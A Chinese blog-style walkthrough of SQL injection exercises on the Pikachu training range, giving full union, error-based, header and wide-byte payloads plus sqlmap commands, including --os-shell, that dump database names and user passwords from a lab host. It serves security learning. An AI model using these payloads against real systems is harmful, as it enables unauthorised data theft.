SQL注入-基于Pikachu的学习

SQL注入

SQL数据库的基本语句

SQL 教程 | 菜鸟教程 (runoob.com)

史上最全SQL基础知识总结(理论+举例)-CSDN博客

SQL注入原理

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

SQL注入的分类

按注入点分类

  1. 数字型注入
  2. 字符型注入
  3. 搜索型注入

按照执行效果来分类

1.基于布尔的盲注:根据页面返回判断条件真假注入

2.基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3.基于报错的注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

Pikachu靶场

sql 数字型注入(POST)

输入一个 1,页面没有回显,所以直接就burp抓包了

输入以下几个payload:

id=1 and 1=1
id=1 and 1=2
id=1’ and ‘1’=’1
id=1‘ and ’1‘=’2

判断是数字型的注入

输入以下的payload,开始爆字段数:

id=1 order by n //n从1到n,逐渐递增,直到出现错误

这里是到3就出错了,说明字段数为2

接下来id得设置为负数,让第一句话出错,因为我们的payload是插入到原来的语句当中,构成了两个sql的语句,当第一个sql语句正确返回时,便不会显示第二个sql语句的结果。

爆回显的位置:

id=-1 union select 1,2

可以发现1 和 2,都可以回显,我此处选择了2作为回显处

爆数据库名字:

id=-1 union select 1,database()

爆表的名字:

id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='pikachu'

爆列的名字:

id=-1 union select 1,group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'

爆数据:

id=-1 union select username,password from users

得到所有人的账号密码,但是这个密码是md5加密过的,md5解密一下就好了

(md5在线解密破解,md5解密加密 (cmd5.com))

sql 字符型注入(GET)

SQL的注释

MySQL中有3种注释:

① #,如果在url框中输入,需要直接url转码成 %23

② -- (最后面有个空格)

③ /**/,内联注释,这个可以在SQL语句中间使用。select * from /*sqli*/ users; //此后可以当作空格用,如果空格被过滤了

我输入了payload后。

1'

发生了报错,然后就在我在分析闭合的时候也终于醒悟到一个东西。(猜测,具体我也不太清楚哈


就是网站通常会把sql语句赋值给一个变量

$query='select * from where id = '$name''

当我们输入1‘的时候,就会发生

$query='select * from where id = '1'''

也就是报错显示为什么会是''1''',这时我们在输入

1' order by 3#

他就会变成

$query='select * from where id = '1'order by 3#'' //只会注释掉#后面的哪一个’,这样就形成了正确的闭合,所以意思就是自己再看报错的时候,直接去掉一对引号,就会舒服不少。

然后言归正传,确定了为字符型,就开始爆字段,#应该直接编码,我们直接用%23(#号的url编码)

1'order by n%23  //从1逐渐递增

此后步骤同第一步基本一致,所以我也不再赘述。

payload如下:

1' union select 1,2%23	//爆回显位置
1' union select 1,database()%23	//爆库名
1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='pikachu'%23	//爆表名
1' union select 1,group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'%23	//爆列名
1' union select username,password from users %23 //爆数据

成功了

sql 搜索型注入

网上了解到,搜索型注入一般如下所示:

$sql = "select * from user where password like '%$pwd%' order by password";

闭合一般就是 %'

我们输入一个 1'进行尝试一下

报错信息的确存在一个 %',那我们不妨就尝试一下%‘去进行闭合

1%'#

页面正常回显,那我们就如之前一样开始进行sql注入,先爆字段数

1%' order by n %23//n从1递增

说明字段数有3个,接下来就开始正常的操作

1%' union select 1,2,3 %23 // 爆回显位置,3处都回显
1%' union select 1,2,database() %23 // 爆库名
1%' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='pikachu' %23//爆表名
1%' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'%23 //爆列名
1%' union select 1,username,password from users %23//爆数据

sql xx型注入

我们输入

1'

产生报错,容易知道闭合条件就是

)'

所以还是老规矩爆字段数:

1') order by 3%23

字段数为2,所以开始判断回显,都能回显,直接老规矩sql一套流程下来

1') union select 1,2 %23 // 爆回显位置,3处都回显
1') union select 1,database() %23 // 爆库名
1') union select 1,group_concat(table_name)from information_schema.tables where table_schema='pikachu' %23//爆表名
1') union select 1,group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'%23 //爆列名
1') union select username,password from users %23//爆数据

sql insert/update注入

这题和之前是不太一样的,打开题目就是一个登录框,让我们注册一下

注册就是给我们的数据插入到数据库当中,也就是insert,之后我们登录就可以从数据库判断,所以我们就去在注册里找找注入点,这里我尝试了一下因为页面url无变化,应该是post请求,我们就直接burp抓包了,发送到重发器

我们接下来需要开始寻找注入点

username=admin'&password=123456'&sex=nan&phonenum=1111&email=2222&add=3333&submit=submit

加了一个单引号,页面开始报错

呃呃呃,这个我也不知道怎么闭合,没看懂,我网上搜了搜,说是去进行报错注入,接下来我们补充一点报错注入吧。

SQL 报错注入

  • 在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:

    updatexml()

    extractvalue()

    当这两个函数在执行时,如果出现xml文档路径错误就会产生报错、

  • updatexml()函数

    • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
    • 作用:改变文档中符合条件的节点的值
    • 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
    • updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
    • 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
  • extractvalue()函数

    • 此函数从目标XML中返回包含所查询值的字符串 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
    • extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
    • select user,password from users where user_id=1 and (extractvalue(1,0x7e));
    • 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。

这两个函数都是只能显示32位

回到题目,这里我们使用extractvalue函数去进行报错注入,都在用户那个输入框中爆破的

爆库名的payload如下

1' and extractvalue(1,concat(0x7e,(select database()),0x7e))or '

分析:1后面的单引号是为了闭合1前面的单引号,后面需要爆表、列等只需要替换select里面的语句,后面的单引号是为了闭合1原本存在的后面的一个单引号。如果你后面不想用单引号,想用注释,你需要整个闭合语句,我们的这个payload其实就只闭合了第一个参数,去进行报错注入的。

爆表名:

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='pikachu'),0x7e))or '

爆列名:

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'),0x7e))or '

爆数据:

1' and extractvalue(1,concat(0x7e,(select group_concat(username,'-',password)from pikachu.users),0x7e))or '

由于md5加密是32位,而这个函数只能显示32位,所以明显不够,所以这里需要我们使用substr函数

payload:

1' and extractvalue(1,concat(0x7e,substr((select group_concat(username,'-',password)from pikachu.users),1,32),0x7e))or '//前32位

1' and extractvalue(1,concat(0x7e,substr((select group_concat(username,'-',password)from pikachu.users),32,64),0x7e))or '//后32位

所以完整的admin的密码为:

e10adc3949ba59abbe56e057f20f883e //md5解密为123456

总的来说报错注入挺难的,一不小心就是括号有问题,搞了好长时间,害

sql delete注入

打开题是个留言板,根据提示是删除的时候有些东西,我们抓包看一下

发现在进行删

除的时候,传了一个参数id=61,我们试试能不能注入

id=61 order by 1

页面回显如下,因为这个东西被我们删掉了,所以没办法回显,那我们就尝试一下报错注入,这次用updatexml

爆库名

id=61 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

爆表名

id=61 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='pikachu'),0x7e),1)

爆列名

id=61 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='pikachu'and table_name='users'),0x7e),1)

爆数据(注意还是最多回显32位,所以我们需要取出来,这次用limit

id=61 and updatexml(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e),1)

成功得到账号密码。

sql http头注入

打开题目是登录,登录进来就是这,吓我一跳,直接被记录了,那我们抓包看看

那我们就在User-Agent处找找有没有注入点,后面加一个单引号试试

果然页面报错了,那我们继续报错注入,payload都在User-Agent全删了,改成payload就行,有一说一报错注入,真好用,香的一批

1' and extractvalue(1,concat(0x7e,(select database()),0x7e))or ' //爆数据库
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='pikachu'),0x7e))or ' //爆表
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'),0x7e))or ' //爆列
1' and extractvalue(1,concat(0x7e,(select group_concat(username,'-',password)from pikachu.users),0x7e))or '//爆数据

其实到这里我发现这数据显示完整了,我也不懂,为啥不用substr,或者别的

基于boolian的盲注

布尔盲注,与普通注入的区别在于“盲注”。在注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功,即:返回查询语句的布尔值。因此,盲注要盲猜试错。由于只有返回的布尔值,往往查询非常复杂,一般使用脚本来穷举试错。

这里我都采用sqlmap去注入

sqlmap常用的指令:

 基本用法:
        -u:指定目标URL。
        --threads=<num>:指定并发线程数。
        --level=<level>:设置测试等级,范围从1到5,默认为1。
        --risk=<risk>:设置测试风险级别,范围从1到3,默认为1。

    注入检测:
        --dbs:获取数据库名称。
        --tables:获取当前数据库中的表。
        --columns -T <table>:获取指定表的列。
        --dump -T <table> -C <column1,column2,...>:获取指定表中指定列的数据。

    注入攻击:
        --os-shell:获取操作系统的命令执行权限。
        --sql-shell:获取数据库的命令执行权限。
        --os-cmd=<command>:执行操作系统命令。
        --sql-query=<query>:执行自定义的SQL查询语句。

    其他选项:
        --batch:以非交互模式运行,忽略所有交互请求。
        --flush-session:在每个HTTP请求之前刷新会话。
        --tamper=<tamper_script>:指定自定义的tamper脚本,用于修改请求数据。

搜索一个1,发现url改变,这里很可能就是注入点,我们复制url,去sqlmap跑(我这里是使用了kali里面的)

sqlmap -u "http://192.168.134.67/pikachu-master/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch

这里挺奇怪,竟然没有显示bool注入

爆库:

sqlmap -u "http://192.168.134.67/pikachu-master/vul/sqli/sqli_blind_b.php?name=1*&submit=%E6%9F%A5%E8%AF%A2" --current-db --batch

爆表:

sqlmap -u "http://192.168.134.67/pikachu-master/vul/sqli/sqli_blind_b.php?name=1*&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables --level 5  --batch

爆列:

sqlmap -u "http://192.168.134.67/pikachu-master/vul/sqli/sqli_blind_b.php?name=1*&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns --level 5  --batch

爆数据:

sqlmap -u "http://192.168.134.67/pikachu-master/vul/sqli/sqli_blind_b.php?name=1*&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --dump  --level 5  --batch

结果实在太慢了就不截图了

基于时间的盲注

这题同上sqlmap慢慢跑吧

宽字节注入:

原理:

打开题目输入了一下,1’ 1什么的都没报错,我们抓包,直接开始宽字符注入

1%df'

页面既然发生报错,那我们就把后面注释了,毕竟我们闭合了一个单引号

1%df' #

开始判断字段数:

1%df' order by n#(n从1递增)

n到3报错,所以字段数是2,开始判断回显,1 2 均回显。

1%df' union select 1,2 #

开始老套路:

爆库:

1%df' union select 1,database() # //爆库名

爆表名:(这里爆表名不能再像之前那样了,因为单引号被转义了,那我们就嵌套

1%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() # 

爆列名:

1%df'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1))#

爆数据:

1%df'union select 1,(select group_concat(username,0x3b,password) from users)#

成功了,拿到账号密码!

热门相关:我的末世基地车   全民女神:重生腹黑千金   视死如归魏君子   侯门弃女之妖孽丞相赖上门   南少,你老婆又跑了